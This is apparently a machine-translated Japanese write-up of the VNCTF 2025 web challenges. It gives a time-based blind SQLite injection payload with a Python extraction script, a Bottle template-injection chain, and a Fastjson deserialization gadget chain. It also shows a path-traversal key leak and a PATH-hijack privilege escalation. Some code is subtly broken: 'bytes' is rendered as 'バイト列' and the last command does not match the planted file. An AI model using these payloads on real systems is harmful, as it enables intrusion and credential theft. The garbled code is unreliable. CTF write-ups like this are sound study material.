VNCTF 2025 ウェブ問題解説

Web3ではパスワードのパススルーとJWTの偽造によりサンドボックスを突破しシェルを取得したが、権限昇格が残っていた。数日間の疲労から時間切れとなり、朝に環境変数の昇格策を思いついたが間に合わず。最終的にウェブ部門で第10位となり、同順位中唯一3問のみ正解という結果となった。

「Nailong Home」

初血を獲得した問題。最も簡単だったはずだが、JavaGuideが燃え尽きていたため10分で解き、同問題でJavaGuideはその2倍の時間を要した。

SQLインジェクションの検証では、1"が「認証失敗」、1'が「エラー発生」を返すことで確認。SQLiの存在が確定した。

SQLiteのタイムベースブラインドSQLiを実行。以下のようなペイロードで遅延を確認:

1'/**/or/**/(case/**/when(2>1)/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*

バイナリサーチを用いたスクリプトで抽出:

import requests
import time

送信先URL = 'http://node.vnteam.cn:46709/login'
フラグ = ''
for i in range(1,500):
    low = 32
    high = 128
    mid = (low+high)//2
    while(low<high):
        time.sleep(0.2)
        payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(password))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*".format(i,chr(mid))
        データ = {
            "username":"1",
            "password": payload
        }
        start_time=time.time()
        res = requests.post(url=送信先URL,json=データ)
        end_time=time.time()
        if (end_time-start_time)>=0.4:
            low = mid+1
        else:
            high = mid
        mid = (low+high)//2
    if(mid ==32 or mid ==127):
        break
    フラグ += chr(mid)
print(バイト列.fromhex(フラグ).decode('utf-8'))

ユーザー名「nailong」、パスワード「woaipangmao114514」でログイン成功。

学生名簿システム

Bottleフレームワークを推定。SimpleTemplateエンジンのテスト:

{{setdefault('a','b')}}
{{a}}

出力確認でBottleの存在が確認。変数割り当てによるペイロード分割を試みるが、setdefaultの長さ制限に引っかかる。Python 3.8以降の海象演算子を活用:

{{a:=''.__class__}}
{{b:=a.__base__}}
{{c:=b.__subclasses__}}
{{d:=c()}}
{{e:=d[154]}}
{{f:=e.__init__}}
{{g:=f.__globals__}}

環境変数からフラグ取得。

JavaGuide

Fastjsonの高バージョンによるTemplatesImpl制限下でSignedObject経由のRCE。CISCN 2024決勝戦記録に基づくチェイン:

hashMap2.readObject -> eventListenerList.readObject -> UndoManager.toString -> Vector.toString -> JSONArray1.toString -> SignedObject.getObject -> hashMap1.readObject -> XString.equals -> JSONArray.toString -> TemplatesImpl.getOutputProperties

Gin

競技終了時間10:00にタイムアップ。任意ダウンロード脆弱性から/download?filename=../config/key.goでJWTシークとタイム取得:

package config

func Key() string {
	return "r00t32l"
}
func Year() int64 {
	return 2025
}

RCE実装ではos/execのimport制限を回避。環境変数ハッキングによりフラグ取得:

echo -e '#!/bin/bash\n/bin/bash' > /tmp/cat
chmod 777 /tmp/cat 
export PATH=/tmp:$PATH
/.../Cat

タグ: SQLインジェクション Bottleフレームワーク Java逆シリアル化 JWTセキュリティ Ginフレームワーク

7月31日 04:22 投稿